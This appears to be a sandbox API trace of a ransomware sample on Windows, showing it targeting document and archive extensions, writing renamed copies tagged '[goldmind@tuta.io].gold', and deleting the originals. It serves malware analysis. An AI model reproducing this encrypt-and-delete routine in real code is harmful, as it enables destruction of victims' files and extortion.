lstrlenW (lpString=".xlsx") returned 5 [0102.944] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0102.944] lstrlenW (lpString=".ppt") returned 4 [0102.944] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0102.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0102.944] lstrlenW (lpString=".zip") returned 4 [0102.944] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0102.944] lstrlenW (lpString=".rar") returned 4 [0102.944] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0102.944] lstrlenW (lpString=".bz2") returned 4 [0102.944] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0102.944] lstrlenW (lpString=".7z") returned 3 [0102.944] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0102.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0102.944] lstrlenW (lpString=".dbf") returned 4 [0102.944] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0102.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0102.944] lstrlenW (lpString=".1cd") returned 4 [0102.944] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0102.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0102.944] lstrlenW (lpString=".jpg") returned 4 [0102.944] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0102.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0102.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0102.944] lstrlenW (lpString=".doc") returned 4 [0102.944] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0102.944] lstrlenW (lpString=".docx") returned 5 [0102.944] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0102.944] lstrlenW (lpString=".pdf") returned 4 [0102.945] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0102.945] lstrlenW (lpString=".xls") returned 4 [0102.945] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0102.945] lstrlenW (lpString=".xlsx") returned 5 [0102.945] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0102.945] lstrlenW (lpString=".ppt") returned 4 [0102.945] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0102.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0102.945] lstrlenW (lpString=".zip") returned 4 [0102.945] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0102.945] lstrlenW (lpString=".rar") returned 4 [0102.945] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0102.945] lstrlenW (lpString=".bz2") returned 4 [0102.945] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0102.945] lstrlenW (lpString=".7z") returned 3 [0102.945] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0102.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0102.945] lstrlenW (lpString=".dbf") returned 4 [0102.945] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0102.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0102.945] lstrlenW (lpString=".1cd") returned 4 [0102.945] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0102.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0102.945] lstrlenW (lpString=".jpg") returned 4 [0102.945] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0102.945] lstrcmpiW (lpString1=".gta", lpString2=".gold") returned 1 [0102.945] lstrlenW (lpString="Issue Tracking.gta") returned 18 [0102.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.945] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=249535) returned 1 [0102.946] CloseHandle (hObject=0x398) returned 1 [0102.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta")) returned 0x20 [0102.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.947] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.947] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0102.972] GetLastError () returned 0x0 [0102.972] ReadFile (in: hFile=0x398, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x3cebf, lpOverlapped=0x0) returned 1 [0103.005] WriteFile (in: hFile=0x3b8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x3cec0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x3cec0, lpOverlapped=0x0) returned 1 [0103.008] ReadFile (in: hFile=0x398, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.008] WriteFile (in: hFile=0x3b8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0103.008] SetEndOfFile (hFile=0x3b8) returned 1 [0103.008] CloseHandle (hObject=0x3b8) returned 1 [0103.008] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.008] SetEndOfFile (hFile=0x398) returned 1 [0103.012] CloseHandle (hObject=0x398) returned 1 [0103.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.012] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta")) returned 1 [0103.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0103.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0103.013] lstrlenW (lpString=".doc") returned 4 [0103.013] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1 [0103.013] lstrlenW (lpString=".docx") returned 5 [0103.013] lstrcmpiW (lpString1=".docx", lpString2="g.gta") returned -1 [0103.013] lstrlenW (lpString=".pdf") returned 4 [0103.013] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1 [0103.013] lstrlenW (lpString=".xls") returned 4 [0103.013] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1 [0103.013] lstrlenW (lpString=".xlsx") returned 5 [0103.013] lstrcmpiW (lpString1=".xlsx", lpString2="g.gta") returned -1 [0103.013] lstrlenW (lpString=".ppt") returned 4 [0103.013] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1 [0103.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0103.013] lstrlenW (lpString=".zip") returned 4 [0103.013] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1 [0103.013] lstrlenW (lpString=".rar") returned 4 [0103.013] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1 [0103.013] lstrlenW (lpString=".bz2") returned 4 [0103.013] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1 [0103.013] lstrlenW (lpString=".7z") returned 3 [0103.013] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1 [0103.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0103.013] lstrlenW (lpString=".dbf") returned 4 [0103.013] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1 [0103.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0103.014] lstrlenW (lpString=".1cd") returned 4 [0103.014] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1 [0103.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0103.014] lstrlenW (lpString=".jpg") returned 4 [0103.014] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1 [0103.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0103.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0103.014] lstrlenW (lpString=".doc") returned 4 [0103.014] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1 [0103.014] lstrlenW (lpString=".docx") returned 5 [0103.014] lstrcmpiW (lpString1=".docx", lpString2="g.gta") returned -1 [0103.014] lstrlenW (lpString=".pdf") returned 4 [0103.014] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1 [0103.014] lstrlenW (lpString=".xls") returned 4 [0103.014] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1 [0103.014] lstrlenW (lpString=".xlsx") returned 5 [0103.014] lstrcmpiW (lpString1=".xlsx", lpString2="g.gta") returned -1 [0103.014] lstrlenW (lpString=".ppt") returned 4 [0103.014] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1 [0103.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0103.014] lstrlenW (lpString=".zip") returned 4 [0103.014] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1 [0103.014] lstrlenW (lpString=".rar") returned 4 [0103.014] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1 [0103.014] lstrlenW (lpString=".bz2") returned 4 [0103.014] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1 [0103.014] lstrlenW (lpString=".7z") returned 3 [0103.014] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1 [0103.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0103.014] lstrlenW (lpString=".dbf") returned 4 [0103.014] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1 [0103.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0103.014] lstrlenW (lpString=".1cd") returned 4 [0103.014] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1 [0103.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta") returned 66 [0103.014] lstrlenW (lpString=".jpg") returned 4 [0103.014] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1 [0103.014] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0103.014] lstrlenW (lpString="MPXRES.DLL") returned 10 [0103.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0103.268] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=12664) returned 1 [0103.268] CloseHandle (hObject=0x3a8) returned 1 [0103.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll")) returned 0x20 [0103.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0103.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0103.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0103.280] lstrlenW (lpString=".doc") returned 4 [0103.314] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0103.314] lstrlenW (lpString=".docx") returned 5 [0103.314] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0103.314] lstrlenW (lpString=".pdf") returned 4 [0103.314] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0103.351] lstrlenW (lpString=".xls") returned 4 [0103.351] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0103.351] lstrlenW (lpString=".xlsx") returned 5 [0103.351] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0103.351] lstrlenW (lpString=".ppt") returned 4 [0103.351] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0103.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0103.351] lstrlenW (lpString=".zip") returned 4 [0103.351] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0103.351] lstrlenW (lpString=".rar") returned 4 [0103.351] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0103.351] lstrlenW (lpString=".bz2") returned 4 [0103.351] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0103.351] lstrlenW (lpString=".7z") returned 3 [0103.351] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0103.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0103.351] lstrlenW (lpString=".dbf") returned 4 [0103.351] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0103.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0103.351] lstrlenW (lpString=".1cd") returned 4 [0103.351] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0103.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0103.351] lstrlenW (lpString=".jpg") returned 4 [0103.351] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0103.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0103.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0103.351] lstrlenW (lpString=".doc") returned 4 [0103.351] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0103.351] lstrlenW (lpString=".docx") returned 5 [0103.351] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0103.352] lstrlenW (lpString=".pdf") returned 4 [0103.352] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0103.352] lstrlenW (lpString=".xls") returned 4 [0103.352] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0103.352] lstrlenW (lpString=".xlsx") returned 5 [0103.352] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0103.352] lstrlenW (lpString=".ppt") returned 4 [0103.352] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0103.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0103.352] lstrlenW (lpString=".zip") returned 4 [0103.352] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0103.352] lstrlenW (lpString=".rar") returned 4 [0103.352] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0103.352] lstrlenW (lpString=".bz2") returned 4 [0103.352] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0103.352] lstrlenW (lpString=".7z") returned 3 [0103.352] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0103.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0103.352] lstrlenW (lpString=".dbf") returned 4 [0103.352] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0103.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0103.352] lstrlenW (lpString=".1cd") returned 4 [0103.352] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0103.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0103.352] lstrlenW (lpString=".jpg") returned 4 [0103.352] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0103.352] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0103.352] lstrlenW (lpString="MSAIN.DLL") returned 9 [0103.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msain.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.353] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1212288) returned 1 [0103.353] CloseHandle (hObject=0x38c) returned 1 [0103.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msain.dll")) returned 0x20 [0103.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msain.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msain.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0103.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0103.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0103.353] lstrlenW (lpString=".doc") returned 4 [0103.353] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0103.353] lstrlenW (lpString=".docx") returned 5 [0103.353] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0103.353] lstrlenW (lpString=".pdf") returned 4 [0103.353] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0103.353] lstrlenW (lpString=".xls") returned 4 [0103.353] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0103.353] lstrlenW (lpString=".xlsx") returned 5 [0103.354] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0103.354] lstrlenW (lpString=".ppt") returned 4 [0103.354] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0103.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0103.354] lstrlenW (lpString=".zip") returned 4 [0103.354] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0103.354] lstrlenW (lpString=".rar") returned 4 [0103.354] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0103.354] lstrlenW (lpString=".bz2") returned 4 [0103.354] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0103.354] lstrlenW (lpString=".7z") returned 3 [0103.354] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0103.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0103.354] lstrlenW (lpString=".dbf") returned 4 [0103.354] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0103.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0103.354] lstrlenW (lpString=".1cd") returned 4 [0103.354] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0103.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0103.354] lstrlenW (lpString=".jpg") returned 4 [0103.354] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0103.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0103.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0103.354] lstrlenW (lpString=".doc") returned 4 [0103.354] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0103.354] lstrlenW (lpString=".docx") returned 5 [0103.354] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0103.354] lstrlenW (lpString=".pdf") returned 4 [0103.354] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0103.354] lstrlenW (lpString=".xls") returned 4 [0103.354] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0103.354] lstrlenW (lpString=".xlsx") returned 5 [0103.354] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0103.354] lstrlenW (lpString=".ppt") returned 4 [0103.354] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0103.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0103.354] lstrlenW (lpString=".zip") returned 4 [0103.354] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0103.354] lstrlenW (lpString=".rar") returned 4 [0103.354] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0103.354] lstrlenW (lpString=".bz2") returned 4 [0103.354] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0103.354] lstrlenW (lpString=".7z") returned 3 [0103.354] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0103.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0103.354] lstrlenW (lpString=".dbf") returned 4 [0103.354] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0103.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0103.354] lstrlenW (lpString=".1cd") returned 4 [0103.354] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0103.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0103.354] lstrlenW (lpString=".jpg") returned 4 [0103.354] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0103.355] lstrcmpiW (lpString1=".ACL", lpString2=".gold") returned -1 [0103.355] lstrlenW (lpString="MSO.ACL") returned 7 [0103.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0103.359] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=37762) returned 1 [0103.359] CloseHandle (hObject=0x398) returned 1 [0103.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl")) returned 0x20 [0103.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.360] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.360] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0103.361] GetLastError () returned 0x0 [0103.361] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x9382, lpOverlapped=0x0) returned 1 [0103.363] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x9390, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x9390, lpOverlapped=0x0) returned 1 [0103.364] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.364] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x301fc9c, 